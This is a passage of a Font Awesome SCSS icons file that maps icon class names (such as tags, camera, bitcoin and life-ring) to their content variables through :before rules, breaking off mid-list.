.#{$fa-css-prefix}-tags:before { content: $fa-var-tags; }
.#{$fa-css-prefix}-book:before { content: $fa-var-book; }
.#{$fa-css-prefix}-bookmark:before { content: $fa-var-bookmark; }
.#{$fa-css-prefix}-print:before { content: $fa-var-print; }
.#{$fa-css-prefix}-camera:before { content: $fa-var-camera; }
.#{$fa-css-prefix}-font:before { content: $fa-var-font; }
.#{$fa-css-prefix}-bold:before { content: $fa-var-bold; }
.#{$fa-css-prefix}-italic:before { content: $fa-var-italic; }
.#{$fa-css-prefix}-text-height:before { content: $fa-var-text-height; }
.#{$fa-css-prefix}-text-width:before { content: $fa-var-text-width; }
.#{$fa-css-prefix}-align-left:before { content: $fa-var-align-left; }
.#{$fa-css-prefix}-align-center:before { content: $fa-var-align-center; }
.#{$fa-css-prefix}-align-right:before { content: $fa-var-align-right; }
.#{$fa-css-prefix}-align-justify:before { content: $fa-var-align-justify; }
.#{$fa-css-prefix}-list:before { content: $fa-var-list; }
.#{$fa-css-prefix}-dedent:before,
.#{$fa-css-prefix}-outdent:before { content: $fa-var-outdent; }
.#{$fa-css-prefix}-indent:before { content: $fa-var-indent; }
.#{$fa-css-prefix}-video-camera:before { content: $fa-var-video-camera; }
.#{$fa-css-prefix}-photo:before,
.#{$fa-css-prefix}-image:before,
.#{$fa-css-prefix}-picture-o:before { content: $fa-var-picture-o; }
.#{$fa-css-prefix}-pencil:before { content: $fa-var-pencil; }
.#{$fa-css-prefix}-map-marker:before { content: $fa-var-map-marker; }
.#{$fa-css-prefix}-adjust:before { content: $fa-var-adjust; }
.#{$fa-css-prefix}-tint:before { content: $fa-var-tint; }
.#{$fa-css-prefix}-edit:before,
.#{$fa-css-prefix}-pencil-square-o:before { content: $fa-var-pencil-square-o; }
.#{$fa-css-prefix}-share-square-o:before { content: $fa-var-share-square-o; }
.#{$fa-css-prefix}-check-square-o:before { content: $fa-var-check-square-o; }
.#{$fa-css-prefix}-arrows:before { content: $fa-var-arrows; }
.#{$fa-css-prefix}-step-backward:before { content: $fa-var-step-backward; }
.#{$fa-css-prefix}-fast-backward:before { content: $fa-var-fast-backward; }
.#{$fa-css-prefix}-backward:before { content: $fa-var-backward; }
.#{$fa-css-prefix}-play:before { content: $fa-var-play; }
.#{$fa-css-prefix}-pause:before { content: $fa-var-pause; }
.#{$fa-css-prefix}-stop:before { content: $fa-var-stop; }
.#{$fa-css-prefix}-forward:before { content: $fa-var-forward; }
.#{$fa-css-prefix}-fast-forward:before { content: $fa-var-fast-forward; }
.#{$fa-css-prefix}-step-forward:before { content: $fa-var-step-forward; }
.#{$fa-css-prefix}-eject:before { content: $fa-var-eject; }
.#{$fa-css-prefix}-chevron-left:before { content: $fa-var-chevron-left; }
.#{$fa-css-prefix}-chevron-right:before { content: $fa-var-chevron-right; }
.#{$fa-css-prefix}-plus-circle:before { content: $fa-var-plus-circle; }
.#{$fa-css-prefix}-minus-circle:before { content: $fa-var-minus-circle; }
.#{$fa-css-prefix}-times-circle:before { content: $fa-var-times-circle; }
.#{$fa-css-prefix}-check-circle:before { content: $fa-var-check-circle; }
.#{$fa-css-prefix}-question-circle:before { content: $fa-var-question-circle; }
.#{$fa-css-prefix}-info-circle:before { content: $fa-var-info-circle; }
.#{$fa-css-prefix}-crosshairs:before { content: $fa-var-crosshairs; }
.#{$fa-css-prefix}-times-circle-o:before { content: $fa-var-times-circle-o; }
.#{$fa-css-prefix}-check-circle-o:before { content: $fa-var-check-circle-o; }
.#{$fa-css-prefix}-ban:before { content: $fa-var-ban; }
.#{$fa-css-prefix}-arrow-left:before { content: $fa-var-arrow-left; }
.#{$fa-css-prefix}-arrow-right:before { content: $fa-var-arrow-right; }
.#{$fa-css-prefix}-arrow-up:before { content: $fa-var-arrow-up; }
.#{$fa-css-prefix}-arrow-down:before { content: $fa-var-arrow-down; }
.#{$fa-css-prefix}-mail-forward:before,
.#{$fa-css-prefix}-share:before { content: $fa-var-share; }
.#{$fa-css-prefix}-expand:before { content: $fa-var-expand; }
.#{$fa-css-prefix}-compress:before { content: $fa-var-compress; }
.#{$fa-css-prefix}-plus:before { content: $fa-var-plus; }
.#{$fa-css-prefix}-minus:before { content: $fa-var-minus; }
.#{$fa-css-prefix}-asterisk:before { content: $fa-var-asterisk; }
.#{$fa-css-prefix}-exclamation-circle:before { content: $fa-var-exclamation-circle; }
.#{$fa-css-prefix}-gift:before { content: $fa-var-gift; }
.#{$fa-css-prefix}-leaf:before { content: $fa-var-leaf; }
.#{$fa-css-prefix}-fire:before { content: $fa-var-fire; }
.#{$fa-css-prefix}-eye:before { content: $fa-var-eye; }
.#{$fa-css-prefix}-eye-slash:before { content: $fa-var-eye-slash; }
.#{$fa-css-prefix}-warning:before,
.#{$fa-css-prefix}-exclamation-triangle:before { content: $fa-var-exclamation-triangle; }
.#{$fa-css-prefix}-plane:before { content: $fa-var-plane; }
.#{$fa-css-prefix}-calendar:before { content: $fa-var-calendar; }
.#{$fa-css-prefix}-random:before { content: $fa-var-random; }
.#{$fa-css-prefix}-comment:before { content: $fa-var-comment; }
.#{$fa-css-prefix}-magnet:before { content: $fa-var-magnet; }
.#{$fa-css-prefix}-chevron-up:before { content: $fa-var-chevron-up; }
.#{$fa-css-prefix}-chevron-down:before { content: $fa-var-chevron-down; }
.#{$fa-css-prefix}-retweet:before { content: $fa-var-retweet; }
.#{$fa-css-prefix}-shopping-cart:before { content: $fa-var-shopping-cart; }
.#{$fa-css-prefix}-folder:before { content: $fa-var-folder; }
.#{$fa-css-prefix}-folder-open:before { content: $fa-var-folder-open; }
.#{$fa-css-prefix}-arrows-v:before { content: $fa-var-arrows-v; }
.#{$fa-css-prefix}-arrows-h:before { content: $fa-var-arrows-h; }
.#{$fa-css-prefix}-bar-chart-o:before,
.#{$fa-css-prefix}-bar-chart:before { content: $fa-var-bar-chart; }
.#{$fa-css-prefix}-twitter-square:before { content: $fa-var-twitter-square; }
.#{$fa-css-prefix}-facebook-square:before { content: $fa-var-facebook-square; }
.#{$fa-css-prefix}-camera-retro:before { content: $fa-var-camera-retro; }
.#{$fa-css-prefix}-key:before { content: $fa-var-key; }
.#{$fa-css-prefix}-gears:before,
.#{$fa-css-prefix}-cogs:before { content: $fa-var-cogs; }
.#{$fa-css-prefix}-comments:before { content: $fa-var-comments; }
.#{$fa-css-prefix}-thumbs-o-up:before { content: $fa-var-thumbs-o-up; }
.#{$fa-css-prefix}-thumbs-o-down:before { content: $fa-var-thumbs-o-down; }
.#{$fa-css-prefix}-star-half:before { content: $fa-var-star-half; }
.#{$fa-css-prefix}-heart-o:before { content: $fa-var-heart-o; }
.#{$fa-css-prefix}-sign-out:before { content: $fa-var-sign-out; }
.#{$fa-css-prefix}-linkedin-square:before { content: $fa-var-linkedin-square; }
.#{$fa-css-prefix}-thumb-tack:before { content: $fa-var-thumb-tack; }
.#{$fa-css-prefix}-external-link:before { content: $fa-var-external-link; }
.#{$fa-css-prefix}-sign-in:before { content: $fa-var-sign-in; }
.#{$fa-css-prefix}-trophy:before { content: $fa-var-trophy; }
.#{$fa-css-prefix}-github-square:before { content: $fa-var-github-square; }
.#{$fa-css-prefix}-upload:before { content: $fa-var-upload; }
.#{$fa-css-prefix}-lemon-o:before { content: $fa-var-lemon-o; }
.#{$fa-css-prefix}-phone:before { content: $fa-var-phone; }
.#{$fa-css-prefix}-square-o:before { content: $fa-var-square-o; }
.#{$fa-css-prefix}-bookmark-o:before { content: $fa-var-bookmark-o; }
.#{$fa-css-prefix}-phone-square:before { content: $fa-var-phone-square; }
.#{$fa-css-prefix}-twitter:before { content: $fa-var-twitter; }
.#{$fa-css-prefix}-facebook-f:before,
.#{$fa-css-prefix}-facebook:before { content: $fa-var-facebook; }
.#{$fa-css-prefix}-github:before { content: $fa-var-github; }
.#{$fa-css-prefix}-unlock:before { content: $fa-var-unlock; }
.#{$fa-css-prefix}-credit-card:before { content: $fa-var-credit-card; }
.#{$fa-css-prefix}-feed:before,
.#{$fa-css-prefix}-rss:before { content: $fa-var-rss; }
.#{$fa-css-prefix}-hdd-o:before { content: $fa-var-hdd-o; }
.#{$fa-css-prefix}-bullhorn:before { content: $fa-var-bullhorn; }
.#{$fa-css-prefix}-bell:before { content: $fa-var-bell; }
.#{$fa-css-prefix}-certificate:before { content: $fa-var-certificate; }
.#{$fa-css-prefix}-hand-o-right:before { content: $fa-var-hand-o-right; }
.#{$fa-css-prefix}-hand-o-left:before { content: $fa-var-hand-o-left; }
.#{$fa-css-prefix}-hand-o-up:before { content: $fa-var-hand-o-up; }
.#{$fa-css-prefix}-hand-o-down:before { content: $fa-var-hand-o-down; }
.#{$fa-css-prefix}-arrow-circle-left:before { content: $fa-var-arrow-circle-left; }
.#{$fa-css-prefix}-arrow-circle-right:before { content: $fa-var-arrow-circle-right; }
.#{$fa-css-prefix}-arrow-circle-up:before { content: $fa-var-arrow-circle-up; }
.#{$fa-css-prefix}-arrow-circle-down:before { content: $fa-var-arrow-circle-down; }
.#{$fa-css-prefix}-globe:before { content: $fa-var-globe; }
.#{$fa-css-prefix}-wrench:before { content: $fa-var-wrench; }
.#{$fa-css-prefix}-tasks:before { content: $fa-var-tasks; }
.#{$fa-css-prefix}-filter:before { content: $fa-var-filter; }
.#{$fa-css-prefix}-briefcase:before { content: $fa-var-briefcase; }
.#{$fa-css-prefix}-arrows-alt:before { content: $fa-var-arrows-alt; }
.#{$fa-css-prefix}-group:before,
.#{$fa-css-prefix}-users:before { content: $fa-var-users; }
.#{$fa-css-prefix}-chain:before,
.#{$fa-css-prefix}-link:before { content: $fa-var-link; }
.#{$fa-css-prefix}-cloud:before { content: $fa-var-cloud; }
.#{$fa-css-prefix}-flask:before { content: $fa-var-flask; }
.#{$fa-css-prefix}-cut:before,
.#{$fa-css-prefix}-scissors:before { content: $fa-var-scissors; }
.#{$fa-css-prefix}-copy:before,
.#{$fa-css-prefix}-files-o:before { content: $fa-var-files-o; }
.#{$fa-css-prefix}-paperclip:before { content: $fa-var-paperclip; }
.#{$fa-css-prefix}-save:before,
.#{$fa-css-prefix}-floppy-o:before { content: $fa-var-floppy-o; }
.#{$fa-css-prefix}-square:before { content: $fa-var-square; }
.#{$fa-css-prefix}-navicon:before,
.#{$fa-css-prefix}-reorder:before,
.#{$fa-css-prefix}-bars:before { content: $fa-var-bars; }
.#{$fa-css-prefix}-list-ul:before { content: $fa-var-list-ul; }
.#{$fa-css-prefix}-list-ol:before { content: $fa-var-list-ol; }
.#{$fa-css-prefix}-strikethrough:before { content: $fa-var-strikethrough; }
.#{$fa-css-prefix}-underline:before { content: $fa-var-underline; }
.#{$fa-css-prefix}-table:before { content: $fa-var-table; }
.#{$fa-css-prefix}-magic:before { content: $fa-var-magic; }
.#{$fa-css-prefix}-truck:before { content: $fa-var-truck; }
.#{$fa-css-prefix}-pinterest:before { content: $fa-var-pinterest; }
.#{$fa-css-prefix}-pinterest-square:before { content: $fa-var-pinterest-square; }
.#{$fa-css-prefix}-google-plus-square:before { content: $fa-var-google-plus-square; }
.#{$fa-css-prefix}-google-plus:before { content: $fa-var-google-plus; }
.#{$fa-css-prefix}-money:before { content: $fa-var-money; }
.#{$fa-css-prefix}-caret-down:before { content: $fa-var-caret-down; }
.#{$fa-css-prefix}-caret-up:before { content: $fa-var-caret-up; }
.#{$fa-css-prefix}-caret-left:before { content: $fa-var-caret-left; }
.#{$fa-css-prefix}-caret-right:before { content: $fa-var-caret-right; }
.#{$fa-css-prefix}-columns:before { content: $fa-var-columns; }
.#{$fa-css-prefix}-unsorted:before,
.#{$fa-css-prefix}-sort:before { content: $fa-var-sort; }
.#{$fa-css-prefix}-sort-down:before,
.#{$fa-css-prefix}-sort-desc:before { content: $fa-var-sort-desc; }
.#{$fa-css-prefix}-sort-up:before,
.#{$fa-css-prefix}-sort-asc:before { content: $fa-var-sort-asc; }
.#{$fa-css-prefix}-envelope:before { content: $fa-var-envelope; }
.#{$fa-css-prefix}-linkedin:before { content: $fa-var-linkedin; }
.#{$fa-css-prefix}-rotate-left:before,
.#{$fa-css-prefix}-undo:before { content: $fa-var-undo; }
.#{$fa-css-prefix}-legal:before,
.#{$fa-css-prefix}-gavel:before { content: $fa-var-gavel; }
.#{$fa-css-prefix}-dashboard:before,
.#{$fa-css-prefix}-tachometer:before { content: $fa-var-tachometer; }
.#{$fa-css-prefix}-comment-o:before { content: $fa-var-comment-o; }
.#{$fa-css-prefix}-comments-o:before { content: $fa-var-comments-o; }
.#{$fa-css-prefix}-flash:before,
.#{$fa-css-prefix}-bolt:before { content: $fa-var-bolt; }
.#{$fa-css-prefix}-sitemap:before { content: $fa-var-sitemap; }
.#{$fa-css-prefix}-umbrella:before { content: $fa-var-umbrella; }
.#{$fa-css-prefix}-paste:before,
.#{$fa-css-prefix}-clipboard:before { content: $fa-var-clipboard; }
.#{$fa-css-prefix}-lightbulb-o:before { content: $fa-var-lightbulb-o; }
.#{$fa-css-prefix}-exchange:before { content: $fa-var-exchange; }
.#{$fa-css-prefix}-cloud-download:before { content: $fa-var-cloud-download; }
.#{$fa-css-prefix}-cloud-upload:before { content: $fa-var-cloud-upload; }
.#{$fa-css-prefix}-user-md:before { content: $fa-var-user-md; }
.#{$fa-css-prefix}-stethoscope:before { content: $fa-var-stethoscope; }
.#{$fa-css-prefix}-suitcase:before { content: $fa-var-suitcase; }
.#{$fa-css-prefix}-bell-o:before { content: $fa-var-bell-o; }
.#{$fa-css-prefix}-coffee:before { content: $fa-var-coffee; }
.#{$fa-css-prefix}-cutlery:before { content: $fa-var-cutlery; }
.#{$fa-css-prefix}-file-text-o:before { content: $fa-var-file-text-o; }
.#{$fa-css-prefix}-building-o:before { content: $fa-var-building-o; }
.#{$fa-css-prefix}-hospital-o:before { content: $fa-var-hospital-o; }
.#{$fa-css-prefix}-ambulance:before { content: $fa-var-ambulance; }
.#{$fa-css-prefix}-medkit:before { content: $fa-var-medkit; }
.#{$fa-css-prefix}-fighter-jet:before { content: $fa-var-fighter-jet; }
.#{$fa-css-prefix}-beer:before { content: $fa-var-beer; }
.#{$fa-css-prefix}-h-square:before { content: $fa-var-h-square; }
.#{$fa-css-prefix}-plus-square:before { content: $fa-var-plus-square; }
.#{$fa-css-prefix}-angle-double-left:before { content: $fa-var-angle-double-left; }
.#{$fa-css-prefix}-angle-double-right:before { content: $fa-var-angle-double-right; }
.#{$fa-css-prefix}-angle-double-up:before { content: $fa-var-angle-double-up; }
.#{$fa-css-prefix}-angle-double-down:before { content: $fa-var-angle-double-down; }
.#{$fa-css-prefix}-angle-left:before { content: $fa-var-angle-left; }
.#{$fa-css-prefix}-angle-right:before { content: $fa-var-angle-right; }
.#{$fa-css-prefix}-angle-up:before { content: $fa-var-angle-up; }
.#{$fa-css-prefix}-angle-down:before { content: $fa-var-angle-down; }
.#{$fa-css-prefix}-desktop:before { content: $fa-var-desktop; }
.#{$fa-css-prefix}-laptop:before { content: $fa-var-laptop; }
.#{$fa-css-prefix}-tablet:before { content: $fa-var-tablet; }
.#{$fa-css-prefix}-mobile-phone:before,
.#{$fa-css-prefix}-mobile:before { content: $fa-var-mobile; }
.#{$fa-css-prefix}-circle-o:before { content: $fa-var-circle-o; }
.#{$fa-css-prefix}-quote-left:before { content: $fa-var-quote-left; }
.#{$fa-css-prefix}-quote-right:before { content: $fa-var-quote-right; }
.#{$fa-css-prefix}-spinner:before { content: $fa-var-spinner; }
.#{$fa-css-prefix}-circle:before { content: $fa-var-circle; }
.#{$fa-css-prefix}-mail-reply:before,
.#{$fa-css-prefix}-reply:before { content: $fa-var-reply; }
.#{$fa-css-prefix}-github-alt:before { content: $fa-var-github-alt; }
.#{$fa-css-prefix}-folder-o:before { content: $fa-var-folder-o; }
.#{$fa-css-prefix}-folder-open-o:before { content: $fa-var-folder-open-o; }
.#{$fa-css-prefix}-smile-o:before { content: $fa-var-smile-o; }
.#{$fa-css-prefix}-frown-o:before { content: $fa-var-frown-o; }
.#{$fa-css-prefix}-meh-o:before { content: $fa-var-meh-o; }
.#{$fa-css-prefix}-gamepad:before { content: $fa-var-gamepad; }
.#{$fa-css-prefix}-keyboard-o:before { content: $fa-var-keyboard-o; }
.#{$fa-css-prefix}-flag-o:before { content: $fa-var-flag-o; }
.#{$fa-css-prefix}-flag-checkered:before { content: $fa-var-flag-checkered; }
.#{$fa-css-prefix}-terminal:before { content: $fa-var-terminal; }
.#{$fa-css-prefix}-code:before { content: $fa-var-code; }
.#{$fa-css-prefix}-mail-reply-all:before,
.#{$fa-css-prefix}-reply-all:before { content: $fa-var-reply-all; }
.#{$fa-css-prefix}-star-half-empty:before,
.#{$fa-css-prefix}-star-half-full:before,
.#{$fa-css-prefix}-star-half-o:before { content: $fa-var-star-half-o; }
.#{$fa-css-prefix}-location-arrow:before { content: $fa-var-location-arrow; }
.#{$fa-css-prefix}-crop:before { content: $fa-var-crop; }
.#{$fa-css-prefix}-code-fork:before { content: $fa-var-code-fork; }
.#{$fa-css-prefix}-unlink:before,
.#{$fa-css-prefix}-chain-broken:before { content: $fa-var-chain-broken; }
.#{$fa-css-prefix}-question:before { content: $fa-var-question; }
.#{$fa-css-prefix}-info:before { content: $fa-var-info; }
.#{$fa-css-prefix}-exclamation:before { content: $fa-var-exclamation; }
.#{$fa-css-prefix}-superscript:before { content: $fa-var-superscript; }
.#{$fa-css-prefix}-subscript:before { content: $fa-var-subscript; }
.#{$fa-css-prefix}-eraser:before { content: $fa-var-eraser; }
.#{$fa-css-prefix}-puzzle-piece:before { content: $fa-var-puzzle-piece; }
.#{$fa-css-prefix}-microphone:before { content: $fa-var-microphone; }
.#{$fa-css-prefix}-microphone-slash:before { content: $fa-var-microphone-slash; }
.#{$fa-css-prefix}-shield:before { content: $fa-var-shield; }
.#{$fa-css-prefix}-calendar-o:before { content: $fa-var-calendar-o; }
.#{$fa-css-prefix}-fire-extinguisher:before { content: $fa-var-fire-extinguisher; }
.#{$fa-css-prefix}-rocket:before { content: $fa-var-rocket; }
.#{$fa-css-prefix}-maxcdn:before { content: $fa-var-maxcdn; }
.#{$fa-css-prefix}-chevron-circle-left:before { content: $fa-var-chevron-circle-left; }
.#{$fa-css-prefix}-chevron-circle-right:before { content: $fa-var-chevron-circle-right; }
.#{$fa-css-prefix}-chevron-circle-up:before { content: $fa-var-chevron-circle-up; }
.#{$fa-css-prefix}-chevron-circle-down:before { content: $fa-var-chevron-circle-down; }
.#{$fa-css-prefix}-html5:before { content: $fa-var-html5; }
.#{$fa-css-prefix}-css3:before { content: $fa-var-css3; }
.#{$fa-css-prefix}-anchor:before { content: $fa-var-anchor; }
.#{$fa-css-prefix}-unlock-alt:before { content: $fa-var-unlock-alt; }
.#{$fa-css-prefix}-bullseye:before { content: $fa-var-bullseye; }
.#{$fa-css-prefix}-ellipsis-h:before { content: $fa-var-ellipsis-h; }
.#{$fa-css-prefix}-ellipsis-v:before { content: $fa-var-ellipsis-v; }
.#{$fa-css-prefix}-rss-square:before { content: $fa-var-rss-square; }
.#{$fa-css-prefix}-play-circle:before { content: $fa-var-play-circle; }
.#{$fa-css-prefix}-ticket:before { content: $fa-var-ticket; }
.#{$fa-css-prefix}-minus-square:before { content: $fa-var-minus-square; }
.#{$fa-css-prefix}-minus-square-o:before { content: $fa-var-minus-square-o; }
.#{$fa-css-prefix}-level-up:before { content: $fa-var-level-up; }
.#{$fa-css-prefix}-level-down:before { content: $fa-var-level-down; }
.#{$fa-css-prefix}-check-square:before { content: $fa-var-check-square; }
.#{$fa-css-prefix}-pencil-square:before { content: $fa-var-pencil-square; }
.#{$fa-css-prefix}-external-link-square:before { content: $fa-var-external-link-square; }
.#{$fa-css-prefix}-share-square:before { content: $fa-var-share-square; }
.#{$fa-css-prefix}-compass:before { content: $fa-var-compass; }
.#{$fa-css-prefix}-toggle-down:before,
.#{$fa-css-prefix}-caret-square-o-down:before { content: $fa-var-caret-square-o-down; }
.#{$fa-css-prefix}-toggle-up:before,
.#{$fa-css-prefix}-caret-square-o-up:before { content: $fa-var-caret-square-o-up; }
.#{$fa-css-prefix}-toggle-right:before,
.#{$fa-css-prefix}-caret-square-o-right:before { content: $fa-var-caret-square-o-right; }
.#{$fa-css-prefix}-euro:before,
.#{$fa-css-prefix}-eur:before { content: $fa-var-eur; }
.#{$fa-css-prefix}-gbp:before { content: $fa-var-gbp; }
.#{$fa-css-prefix}-dollar:before,
.#{$fa-css-prefix}-usd:before { content: $fa-var-usd; }
.#{$fa-css-prefix}-rupee:before,
.#{$fa-css-prefix}-inr:before { content: $fa-var-inr; }
.#{$fa-css-prefix}-cny:before,
.#{$fa-css-prefix}-rmb:before,
.#{$fa-css-prefix}-yen:before,
.#{$fa-css-prefix}-jpy:before { content: $fa-var-jpy; }
.#{$fa-css-prefix}-ruble:before,
.#{$fa-css-prefix}-rouble:before,
.#{$fa-css-prefix}-rub:before { content: $fa-var-rub; }
.#{$fa-css-prefix}-won:before,
.#{$fa-css-prefix}-krw:before { content: $fa-var-krw; }
.#{$fa-css-prefix}-bitcoin:before,
.#{$fa-css-prefix}-btc:before { content: $fa-var-btc; }
.#{$fa-css-prefix}-file:before { content: $fa-var-file; }
.#{$fa-css-prefix}-file-text:before { content: $fa-var-file-text; }
.#{$fa-css-prefix}-sort-alpha-asc:before { content: $fa-var-sort-alpha-asc; }
.#{$fa-css-prefix}-sort-alpha-desc:before { content: $fa-var-sort-alpha-desc; }
.#{$fa-css-prefix}-sort-amount-asc:before { content: $fa-var-sort-amount-asc; }
.#{$fa-css-prefix}-sort-amount-desc:before { content: $fa-var-sort-amount-desc; }
.#{$fa-css-prefix}-sort-numeric-asc:before { content: $fa-var-sort-numeric-asc; }
.#{$fa-css-prefix}-sort-numeric-desc:before { content: $fa-var-sort-numeric-desc; }
.#{$fa-css-prefix}-thumbs-up:before { content: $fa-var-thumbs-up; }
.#{$fa-css-prefix}-thumbs-down:before { content: $fa-var-thumbs-down; }
.#{$fa-css-prefix}-youtube-square:before { content: $fa-var-youtube-square; }
.#{$fa-css-prefix}-youtube:before { content: $fa-var-youtube; }
.#{$fa-css-prefix}-xing:before { content: $fa-var-xing; }
.#{$fa-css-prefix}-xing-square:before { content: $fa-var-xing-square; }
.#{$fa-css-prefix}-youtube-play:before { content: $fa-var-youtube-play; }
.#{$fa-css-prefix}-dropbox:before { content: $fa-var-dropbox; }
.#{$fa-css-prefix}-stack-overflow:before { content: $fa-var-stack-overflow; }
.#{$fa-css-prefix}-instagram:before { content: $fa-var-instagram; }
.#{$fa-css-prefix}-flickr:before { content: $fa-var-flickr; }
.#{$fa-css-prefix}-adn:before { content: $fa-var-adn; }
.#{$fa-css-prefix}-bitbucket:before { content: $fa-var-bitbucket; }
.#{$fa-css-prefix}-bitbucket-square:before { content: $fa-var-bitbucket-square; }
.#{$fa-css-prefix}-tumblr:before { content: $fa-var-tumblr; }
.#{$fa-css-prefix}-tumblr-square:before { content: $fa-var-tumblr-square; }
.#{$fa-css-prefix}-long-arrow-down:before { content: $fa-var-long-arrow-down; }
.#{$fa-css-prefix}-long-arrow-up:before { content: $fa-var-long-arrow-up; }
.#{$fa-css-prefix}-long-arrow-left:before { content: $fa-var-long-arrow-left; }
.#{$fa-css-prefix}-long-arrow-right:before { content: $fa-var-long-arrow-right; }
.#{$fa-css-prefix}-apple:before { content: $fa-var-apple; }
.#{$fa-css-prefix}-windows:before { content: $fa-var-windows; }
.#{$fa-css-prefix}-android:before { content: $fa-var-android; }
.#{$fa-css-prefix}-linux:before { content: $fa-var-linux; }
.#{$fa-css-prefix}-dribbble:before { content: $fa-var-dribbble; }
.#{$fa-css-prefix}-skype:before { content: $fa-var-skype; }
.#{$fa-css-prefix}-foursquare:before { content: $fa-var-foursquare; }
.#{$fa-css-prefix}-trello:before { content: $fa-var-trello; }
.#{$fa-css-prefix}-female:before { content: $fa-var-female; }
.#{$fa-css-prefix}-male:before { content: $fa-var-male; }
.#{$fa-css-prefix}-gittip:before,
.#{$fa-css-prefix}-gratipay:before { content: $fa-var-gratipay; }
.#{$fa-css-prefix}-sun-o:before { content: $fa-var-sun-o; }
.#{$fa-css-prefix}-moon-o:before { content: $fa-var-moon-o; }
.#{$fa-css-prefix}-archive:before { content: $fa-var-archive; }
.#{$fa-css-prefix}-bug:before { content: $fa-var-bug; }
.#{$fa-css-prefix}-vk:before { content: $fa-var-vk; }
.#{$fa-css-prefix}-weibo:before { content: $fa-var-weibo; }
.#{$fa-css-prefix}-renren:before { content: $fa-var-renren; }
.#{$fa-css-prefix}-pagelines:before { content: $fa-var-pagelines; }
.#{$fa-css-prefix}-stack-exchange:before { content: $fa-var-stack-exchange; }
.#{$fa-css-prefix}-arrow-circle-o-right:before { content: $fa-var-arrow-circle-o-right; }
.#{$fa-css-prefix}-arrow-circle-o-left:before { content: $fa-var-arrow-circle-o-left; }
.#{$fa-css-prefix}-toggle-left:before,
.#{$fa-css-prefix}-caret-square-o-left:before { content: $fa-var-caret-square-o-left; }
.#{$fa-css-prefix}-dot-circle-o:before { content: $fa-var-dot-circle-o; }
.#{$fa-css-prefix}-wheelchair:before { content: $fa-var-wheelchair; }
.#{$fa-css-prefix}-vimeo-square:before { content: $fa-var-vimeo-square; }
.#{$fa-css-prefix}-turkish-lira:before,
.#{$fa-css-prefix}-try:before { content: $fa-var-try; }
.#{$fa-css-prefix}-plus-square-o:before { content: $fa-var-plus-square-o; }
.#{$fa-css-prefix}-space-shuttle:before { content: $fa-var-space-shuttle; }
.#{$fa-css-prefix}-slack:before { content: $fa-var-slack; }
.#{$fa-css-prefix}-envelope-square:before { content: $fa-var-envelope-square; }
.#{$fa-css-prefix}-wordpress:before { content: $fa-var-wordpress; }
.#{$fa-css-prefix}-openid:before { content: $fa-var-openid; }
.#{$fa-css-prefix}-institution:before,
.#{$fa-css-prefix}-bank:before,
.#{$fa-css-prefix}-university:before { content: $fa-var-university; }
.#{$fa-css-prefix}-mortar-board:before,
.#{$fa-css-prefix}-graduation-cap:before { content: $fa-var-graduation-cap; }
.#{$fa-css-prefix}-yahoo:before { content: $fa-var-yahoo; }
.#{$fa-css-prefix}-google:before { content: $fa-var-google; }
.#{$fa-css-prefix}-reddit:before { content: $fa-var-reddit; }
.#{$fa-css-prefix}-reddit-square:before { content: $fa-var-reddit-square; }
.#{$fa-css-prefix}-stumbleupon-circle:before { content: $fa-var-stumbleupon-circle; }
.#{$fa-css-prefix}-stumbleupon:before { content: $fa-var-stumbleupon; }
.#{$fa-css-prefix}-delicious:before { content: $fa-var-delicious; }
.#{$fa-css-prefix}-digg:before { content: $fa-var-digg; }
.#{$fa-css-prefix}-pied-piper-pp:before { content: $fa-var-pied-piper-pp; }
.#{$fa-css-prefix}-pied-piper-alt:before { content: $fa-var-pied-piper-alt; }
.#{$fa-css-prefix}-drupal:before { content: $fa-var-drupal; }
.#{$fa-css-prefix}-joomla:before { content: $fa-var-joomla; }
.#{$fa-css-prefix}-language:before { content: $fa-var-language; }
.#{$fa-css-prefix}-fax:before { content: $fa-var-fax; }
.#{$fa-css-prefix}-building:before { content: $fa-var-building; }
.#{$fa-css-prefix}-child:before { content: $fa-var-child; }
.#{$fa-css-prefix}-paw:before { content: $fa-var-paw; }
.#{$fa-css-prefix}-spoon:before { content: $fa-var-spoon; }
.#{$fa-css-prefix}-cube:before { content: $fa-var-cube; }
.#{$fa-css-prefix}-cubes:before { content: $fa-var-cubes; }
.#{$fa-css-prefix}-behance:before { content: $fa-var-behance; }
.#{$fa-css-prefix}-behance-square:before { content: $fa-var-behance-square; }
.#{$fa-css-prefix}-steam:before { content: $fa-var-steam; }
.#{$fa-css-prefix}-steam-square:before { content: $fa-var-steam-square; }
.#{$fa-css-prefix}-recycle:before { content: $fa-var-recycle; }
.#{$fa-css-prefix}-automobile:before,
.#{$fa-css-prefix}-car:before { content: $fa-var-car; }
.#{$fa-css-prefix}-cab:before,
.#{$fa-css-prefix}-taxi:before { content: $fa-var-taxi; }
.#{$fa-css-prefix}-tree:before { content: $fa-var-tree; }
.#{$fa-css-prefix}-spotify:before { content: $fa-var-spotify; }
.#{$fa-css-prefix}-deviantart:before { content: $fa-var-deviantart; }
.#{$fa-css-prefix}-soundcloud:before { content: $fa-var-soundcloud; }
.#{$fa-css-prefix}-database:before { content: $fa-var-database; }
.#{$fa-css-prefix}-file-pdf-o:before { content: $fa-var-file-pdf-o; }
.#{$fa-css-prefix}-file-word-o:before { content: $fa-var-file-word-o; }
.#{$fa-css-prefix}-file-excel-o:before { content: $fa-var-file-excel-o; }
.#{$fa-css-prefix}-file-powerpoint-o:before { content: $fa-var-file-powerpoint-o; }
.#{$fa-css-prefix}-file-photo-o:before,
.#{$fa-css-prefix}-file-picture-o:before,
.#{$fa-css-prefix}-file-image-o:before { content: $fa-var-file-image-o; }
.#{$fa-css-prefix}-file-zip-o:before,
.#{$fa-css-prefix}-file-archive-o:before { content: $fa-var-file-archive-o; }
.#{$fa-css-prefix}-file-sound-o:before,
.#{$fa-css-prefix}-file-audio-o:before { content: $fa-var-file-audio-o; }
.#{$fa-css-prefix}-file-movie-o:before,
.#{$fa-css-prefix}-file-video-o:before { content: $fa-var-file-video-o; }
.#{$fa-css-prefix}-file-code-o:before { content: $fa-var-file-code-o; }
.#{$fa-css-prefix}-vine:before { content: $fa-var-vine; }
.#{$fa-css-prefix}-codepen:before { content: $fa-var-codepen; }
.#{$fa-css-prefix}-jsfiddle:before { content: $fa-var-jsfiddle; }
.#{$fa-css-prefix}-life-bouy:before,
.#{$fa-css-prefix}-life-buoy:before,
.#{$fa-css-prefix}-life-saver:before,
.#{$fa-css-prefix}-support:before,
.#{$fa-css-prefix}-life-ring:before { content: $fa-var-life-ring; }
.#{$fa-css-prefix}-circle-o-notch:before { content: $fa-var-circle-o-notch; }
.#{$fa-css-prefix}-ra:before,
